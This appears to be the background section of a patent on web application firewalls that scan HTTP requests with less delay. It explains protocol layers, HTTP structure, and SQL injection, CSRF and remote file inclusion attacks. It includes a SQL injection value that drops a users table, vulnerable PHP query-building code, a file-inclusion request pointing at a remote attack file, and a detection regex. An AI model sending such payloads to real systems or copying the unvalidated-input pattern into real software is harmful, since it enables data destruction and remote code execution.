TECHNICAL FIELD

Embodiments of the invention relate to the field of computer networks, and more specifically, to scanning web application layer requests for attacks with reduced delays.

BACKGROUND ART

The content of Hypertext Transfer Protocol (HTTP) messages is transmitted within the application layer (“Layer 7”) of the Open Systems Interconnection (OSI) model (ISO/IEC 7498-1), and may also be referred to as web application layer data. The OSI model was developed to establish standardization for linking heterogeneous communication systems and describes the flow of information from a software application of a first computer system to a software application of a second computer system through a communications network. The OSI model has seven functional layers including a physical link layer, a data link layer, a network layer, a transport layer, a session layer, a presentation layer, and an application layer. A few examples of application layer protocols include, but are not limited to, HTTP for web application communication, File Transfer Protocol (FTP) for file transmission, Internet Message Access Protocol (IMAP) and Post Office Protocol (POP) for email, Simple Mail Transfer Protocol (SMTP) for transmitting email, Internet Relay Chat (IRC) for real-time Internet text messaging, Session Initiation Protocol (SIP) for voice and video calling, and Network File System (NFS) for the remote access of files.

Another model detailing communications on the Internet is known as the Internet Protocol (IP) suite and is sometimes referred to as “TCP/IP”. In contrast to the OSI model, the Internet protocol suite is a set of communications protocols including four layers: a link layer, an internet layer, a transport layer, and an application layer. The link layer of the Internet protocol suite, which provides communication technologies for use in a local network, is often described as roughly analogous to a combination of the data link layer (layer 2) and physical layer (layer 1) of the OSI model. The internet layer (e.g., IP version 4 (IPv4), IP version 6 (IPv6)) of the Internet protocol suite, which provides for inter-networking and thus connects various local networks, is often described as roughly analogous to the network layer (layer 3) of the OSI model. The transport layer (e.g., Transmission Control Protocol (TCP), User Datagram Protocol (UDP)) of the Internet protocol suite, which allows for host-to-host communications, is often described as roughly analogous to the transport layer (layer 4) of the OSI model. Finally, the application layer of the Internet protocol suite includes the various protocols (e.g., HTTP, IMAP, FTP, SIP) for data communications on a process-to-process level and is often described as analogous to a combination of the session, presentation, and application layers (layers 5-7, respectively) of the OSI model.

Regardless of the model considered, many common attacks are targeted at aspects of the network layer, the transport layer, and the application layer. The network layer, which is under the transport layer and routes data supplied by the transport layer, manages delivery of packets between computing devices that may be connected to different networks and separated by one or more other networks. The network layer is responsible for logical addressing, which includes managing mappings between IP addresses and computing devices on a worldwide basis. The network layer is also responsible for ensuring that packets sent to computing devices on different networks are able to successfully navigate through the various networks successfully and arrive at the proper intended destinations. Network devices such as routers and gateways predominantly operate at the network layer. The transport layer, which is under the application layer, provides end-to-end communication services by providing reliable delivery of an entire message from a source to a destination, sometimes using multiple packets. While the network layer typically handles each packet independently, the transport layer manages the relationships between the packets to ensure that the entire message arrives at the destination and can be reassembled in the correct order to recreate the original message. The application layer typically operates as the top layer in networking models and carries application-specific data, such as HTTP request and response messages.

Application layer attacks typically target web applications executed by web application servers (in which case, they are referred to as web application layer attacks). A web application server is system software (running on top of an operating system) executed by server hardware upon which web applications run. Web application servers may include a web server (e.g. Apache, Microsoft® Internet Information Server (IIS), nginx, lighttpd), which delivers web pages on the request of HTTP clients using HTTP, and may also include an application server that executes procedures (i.e., programs, routines, scripts) of a web application. Web application servers typically include web server connectors, computer programming language libraries, runtime libraries, database connectors, and/or the administration code needed to deploy, configure, manage, and connect these components. Web applications are computer software applications made up of one or more files including computer code that run on top of web application servers and are written in a language the web application server supports. Web applications are typically designed to interact with HTTP clients by dynamically generating HTML responsive to HTTP request messages sent by those HTTP clients. Many web applications utilize databases (e.g., relational databases such as PostgreSQL, MySQL, and Oracle, and non-relational databases, also known as NoSQL databases, such as MongoDB, Riak, CouchDB, Apache Cassandra and HBase) to store information received from HTTP clients and/or information to be displayed to HTTP clients.

HTTP clients interact with web applications by transmitting HTTP request messages to web application servers, which execute portions of web applications and return web application data in the form of HTTP response messages back to the HTTP clients, where the web application data may be rendered using a web browser. Thus, HTTP functions as a request-response protocol in a client-server computing model, where the web application servers typically act as the “server” and the HTTP clients typically act as the “client.”

HTTP Resources are identified and located on a network by Uniform Resource Identifiers (URIs)—or, more specifically, Uniform Resource Locators (URLs)—using the HTTP or HTTP Secure (HTTPS) URI schemes. URLs are specific strings of characters that identify a particular reference available using the Internet. URLs typically contain a protocol identifier or scheme name (e.g. http, https, ftp), a colon, two slashes, and one or more of user credentials, server name, domain name, IP address, port, resource path, query string, and fragment identifier, which may be separated by periods and/or slashes.

By way of an operational example, an HTTP client requests a web page from a web application server by sending it an HTTP request message. For example, to access the web page with a URL of “http://www.example.org/index.html”, web browsers connect to the web application server at www.example.org by sending it an HTTP request message using a “GET” method, which looks like the following:

GET/index.html HTTP/1.1

Host: www.example.org

The web application server replies by sending a set of HTTP headers along with the requested web page, which collectively is called an HTTP response message.

A HTTP message may include request lines, status lines, HTTP headers, a message body, and/or a trailer. Request lines, which are used in HTTP/1.1 request messages, include a method token field that identifies a method to be performed (e.g., “GET”, “POST”), a Request URI field that identifies a URI of a resource upon which to apply the method (i.e., a requested URL), and a protocol version field (e.g., “HTTP/1.1”). Status lines, which are used in HTTP/1.1 response messages, include a protocol version field, a numeric status code field (e.g., 403, 404), and an associated textual explanatory phrase field (e.g., “Forbidden”, “Not Found”). HTTP headers define the operating parameters of an HTTP transaction, and each HTTP header typically comprises a colon-separated name-value pair.

One type of HTTP header is a “Referer” header that allows a web browser to specify, for a web application server's benefit, an address (e.g., URI) of a resource (e.g., web page) from which the requested URI was obtained. For example, if a user clicks on a link from within a web page having a URI of “http://www.example.com/index.html”, the resulting HTTP request message sent by the web browser may include a Referer header of “Referer: http://www.example.com/index.html” indicating that the HTTP request message was originated from that web page. Another type of HTTP header is a “User-Agent” header that indicates, for the web application server's benefit, what software and/or modules are utilized by the HTTP client making the request. For example, a User-Agent header may include one or more of a web browser product name and version number, a layout engine name and version number used by the web browser, an identifier of the type of machine and/or operating system of the user, and/or names of any extensions utilized by the web browser. For example, a User-Agent header transmitted from the Mozilla® Firefox® web browser executing on a computer utilizing the Microsoft® Windows® 7 operating system may be “Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2) Gecko/20100115 Firefox/3.6”. A core set of HTTP fields for “HTTP/1.1” is standardized by the IETF in RFC 2616, and other updates and extension documents (e.g., RFC 4229). Additional field names and permissible values may be defined by each application.

HTTP parameters are typically short pieces of data (i.e., attribute name and attribute value pairs) that are sent from the HTTP client to the web application server. HTTP parameters may be sent a variety of ways, such as including them in the Request URI of the request line of an HTTP request message utilizing the HTTP “GET” method (i.e., by tacking them on the end of the Request URI as a “query string”), or by including them in the message body of the HTTP request message when using the HTTP “POST” method. In principle, the HTTP GET method requests the contents of a particular URL, while the HTTP POST method “sends” data to a particular URL. By way of example, assume the below HTML form is provided to the HTTP client as part of a web page:

<form action=″http://www.examplesite.com/login″ method=“get”><input type=text name=″username″><input type=submit></form>

Responsive to this HTML form being displayed, a user may enter the username “mcjones” and submit this form, which causes the HTTP request parameter “?username=mcjones” to be tacked on the end of the URL to form http://www.examplesite.com/login?username=mcjones. In this example, “username” is deemed a field name or attribute name or attribute identifier and “mcjones” can be deemed a user-entered value of the field/attribute or an attribute value.

In addition to sending user-submitted form data, HTTP request messages may also be used for other purposes, including: 1) to send data via some Application Programming Interface (API) to call a web application server; and 2) to send data to AJAX (Asynchronous JavaScript and XML) web applications. While formerly any user action required a web page to be reloaded from the web application server, AJAX allows an HTTP client to retrieve data from the web application server asynchronously in the background without interfering with the display and behavior of the existing page. For example, an AJAX call may load new content into a web page after the initial rendering of the page without having to reload or “refresh” the page (i.e., transmit another HTTP request for the web page and/or render the entire page once again).

Structured Query Language (SQL) is a special-purpose programming language allowing for declarative querying of data (typically) contained in a relational database. Relational databases model data storage using one or more tables having columns and rows storing values associated with the columns. Most SQL implementations include data insert commands (e.g., INSERT), query commands (e.g., SELECT), update commands (e.g., UPDATE), and delete (e.g., DELETE) commands, as well as schema creation, schema modification, and data access control commands. While relational databases are often referred to as SQL databases, other types of (non-relational) databases exist that are often referred to as NoSQL databases.

Many web applications utilize databases, both relational and non-relational, to store and provide data used by the web application, including but not limited to user data (passwords, user names, contact information, credit card information, web application history, etc.) and other site-specific data including but not limited to stories, comments, pictures, product information, sales information, financial records, and any other type of information utilized by or displayed by a web application. Because these databases often store confidential or private information, the databases are often configured to only provide access to the data stored therein to a limited number of users, geographic locations, and/or computing devices. For example, many databases are configured to only allow access to a particular web application server.

However, due to the sensitive and important data in these databases, they are often targeted by third parties seeking unauthorized, and possibly malicious, access. For example, attackers may attempt to perform SQL Injection (SQLi) attacks (a form of web application layer attack, which is a form of application layer attack) by sending carefully crafted HTTP request messages to a web application server that may cause the web application to interact with its database under the direction of the attacker. In particular, a SQLi attack is an attack where an attacker includes portions of SQL statements in a web form input element (or directly within a “GET” or “POST” HTTP request message) to a web application in an attempt to get the web application to transmit these portions of SQL statements to a database to be executed. Thus, the attacker may be granted unauthorized access or power to modify data within the database, and may display database schema information (e.g., a list of tables and settings), display data stored in those tables (e.g., contact information, credit card information, and any other type of information), and/or update or delete database data and related data structures or metadata. Further, in some scenarios an attacker may even execute operating system commands through SQLi. One form of SQLi occurs when user input is directly used by a web application to craft a SQL statement/query but is not validated or “escaped” (e.g., inserting escape characters into a value to prevent it from being executed by a database). For example, a web application may contain the following PHP code creating a SQL command:

Ssq1=“SELECT*FROM users WHERE user_id=$_GET[user_id]”;

Assuming the web application does not validate user input data, if an attacker passes the web application a value for ‘user_id’ that is not a user ID but instead includes carefully crafted SQL code, the SQL code may be executed. For example, an attacker may send a ‘user_id’ value of:

1; DROP TABLE users;

This will cause the above PHP code to create the following SQL command that selects some arbitrary data from a ‘users’ table (the record having a user_id value equal to 1) but also deletes (i.e. drops) the ‘users’ table:

SELECT*FROM users WHERE user_id=1; DROP TABLE users;

While SQLi attacks can be prevented through careful construction of web applications—for example, by validating and/or sanitizing (e.g., escaping) input provided to the web application by its users—such careful construction is not always used during the construction of all web applications.

Attackers may also attempt to perform Cross-Site Request Forgery (CSRF) attacks. CSRF attacks work by abusing the trust between a web application and a particular client to perform an application level transaction on behalf of the attacker using the identity of the client. In particular, a CSRF attack is an attack in which an attacker gets another user to unknowingly access a web application to which the user is authenticated. Typically, the attacker is able to cause the victim's web browser to transmit unauthorized commands to the site, which are executed if the site trusts the victim's web browser. For example, an attacker may craft a malicious link, script (e.g., JavaScript), or HTTP element (e.g., an image) that is loaded by a victim's web browser. This malicious entity causes the victim's web browser to transmit an HTTP request message to a website that the victim has previously established a current session with. For example, if the victim's web browser has an unexpired cookie storing authentication information for the website (i.e., is still “logged on”), this malicious HTTP request message may be executed by the website, because it believes that the user is purposefully making the request. Thus, any web application that performs actions based upon input from trusted and authenticated users without requiring that the user authorizes the specific action is at risk. One method to prevent CSRF attacks is for the web application to check the “Referer Header” transmitted by the user's browser to ensure that the referrer page (i.e., the page on which the request was caused to be transmitted) is a known page of the web application, and not an unknown page such as one created or modified by an attacker.

Further, attackers may use Remote File Inclusion (RFI) attacks that target web application servers. An RFI attack is an attack in which an attacker is able to make a web application server include the contents of one or more remote files within a particular resource, which may then be executed, compiled, interpreted, or sent to another computer device. For example, an attacker may cause the web application server to retrieve and execute code from within a remote file (e.g., “PHP: Hypertext Preprocessor” (PHP) code, Active Server Pages (ASP) code, ASP.NET code, Perl code, etc.). Further, RFI attacks lead to the unauthorized access and/or manipulation of data from the web application server and/or database. RFI attacks are typically enabled through a failure of the web application to validate input variables (e.g., in PHP: $_GET, $_POST, $_COOKIE, $_REQUEST). Thus, by transmitting unanticipated input to the web application server through these input variables (i.e., in HTTP request messages), an attacker may cause a vulnerable web application to execute this unanticipated, non-validated user input. For example, if a PHP application includes an “include($_GET[‘template_id’])” statement or a “require $_GET[‘template_id’]” statement, an attacker may pass a URL of a malicious file as part of an HTTP request message parameter. For example, an HTTP request message including a GET request for “/page.php?template_id=http://www.example.com/attack.txt” will cause the web application to include the contents of the file located at “http://www.example.com/attack.txt”—which may include malicious script (e.g., PHP) code, for example—when interpreting the page.php file to construct a web page for the user. Thus, the contents of the remote file will be executed by the web application server (when creating a web page). One method to prevent RFI attacks is for a web application to validate all inputs before using those inputs, or not allow user input to be directly used with “include” or “require”-type commands Additionally, a web application can prevent RFI attacks by determining if the parameters of an HTTP request message match a regular expression pattern (e.g., “(htlf)tps?:W”) that looks for the existence of “http”, “https”, “ftp”, or “ftps”, which indicates that the parameters are including a URI of a remote resource.

In addition to the attacks described above, attackers may use a variety of other web application layer attacks, including Cross-Site Scripting attacks and Clickjacking attacks (i.e., User Interface Redress Attacks). Web application layer attacks typically come from outside a network (e.g. a Local Area Network (LAN)) and are directed at one or more computing devices within that network. For example, SQL injection attacks are typically directed at web applications and databases executing on computing devices located within a LAN and come from computing devices located outside the LAN.

Given this reality, security devices such as web application firewalls are commonly utilized to look for and prevent such attacks within HTTP traffic (i.e. web application layer traffic). In particular, a web application firewall can examine traffic (e.g., packets) using a set of security rules to detect attacks of certain attack types. Each security rule includes a rule identifier (ID), which serves to uniquely identify a particular rule. Each security rule also includes a set of one or more conditions that define what to look for in traffic, and a set of one or more actions to be performed when a condition is met. A condition includes, for each security rule, one or more attributes. An attribute is a combination of an attribute identifier and a set of one or more attribute values. Attribute identifiers can identify particular protocol headers (e.g., a TCP header, an HTTP header) and/or header fields (e.g., a source or destination port of a TCP header, a Referer HTTP header field) used within a packet. Attribute identifiers can also identify metrics or characteristics of traffic that an attribute value represents. For example, an attribute identifier may be a number of packets or HTTP messages received over a defined period of time, and the corresponding attribute value may be that particular number of packets or HTTP messages. Of course, the use of metrics or characteristics as attribute identifiers requires that the system have some way of determining the attribute values, such as by maintaining a separate table or database with relevant data necessary to perform the computation. Attribute identifiers may also identify portions of application layer data carried by packets, such as an HTTP request message, an HTTP response message, a SQL query, etc.

As noted above, each of the security rules also includes one or more actions to be performed when a condition of the security rule is satisfied. Actions can indicate one or more forwarding actions (e.g., drop the packet or message, temporarily hold the packet or message for further analysis, transmit the packet or message to a particular module or IP address, forward the packet or message to the intended destination) or modification actions (e.g., insert a value into the packet or message at a particular location, strip out a value from the packet or message, replace a value in the packet or message, etc.). The actions can also include instructions describing what information is to be placed into each alert package; for example, an action may direct that an attack type indication of “RFI attack” is to be included therein. Additionally, many other types of actions are well known to those of ordinary skill in the art, and thus these examples are not exhaustive.

In some systems, the security rules utilized by computing devices for security purposes may be described as detecting a particular type of attack and thus have an attack type. For example, a first security rule may detect SQLi attacks and be of a SQLi attack type, a second security rule may detect RFI attacks and be of an RFI attack type, a third security rule may detect denial of service (DoS) attacks and be of a DoS attack type, and a fourth security rule may detect CSRF attacks and thus be of a CSRF attack type.

A web application firewall typically sits in front of a web application server to protect the web application server from attacks by web application clients. The web application firewall can see the traffic being sent between the web application clients and the web application server, including web application layer requests (e.g., HTTP request message) sent by the web application clients to the web application server, and can scan these requests for attacks.

When a web application firewall sees a web application layer request being sent to a web application server, it scans the request for attacks (e.g., which may involve applying various security rules to the request, as mentioned above). If the web application firewall detects an attack in the request, then it takes the appropriate security measures (e.g., performs actions specified by the security rules). Otherwise, if the web application firewall does not detect an attack in the request, then it sends the request to the web application server that the request is intended for. Typically, the web application firewall (particularly if it is implemented using a single thread) has to completely finish processing the current web application layer request before it can start processing another request. Thus, if the web application firewall is currently processing a large request, then any other incoming web application layer requests are placed on hold until the web application firewall finishes processing the large request, which delays the processing of the other requests. Also, the web application firewall typically has to receive and store the entire/complete web application layer request before it can start scanning the request for attacks. This delays the scanning of the request and consumes memory (buffer) space in the web application firewall, which may prevent the web application firewall from being able to process additional incoming requests. Such delays at the web application firewall causes the sending of the web application layer request to the web application server to be delayed, which in turn causes the corresponding web application layer response to be delayed.

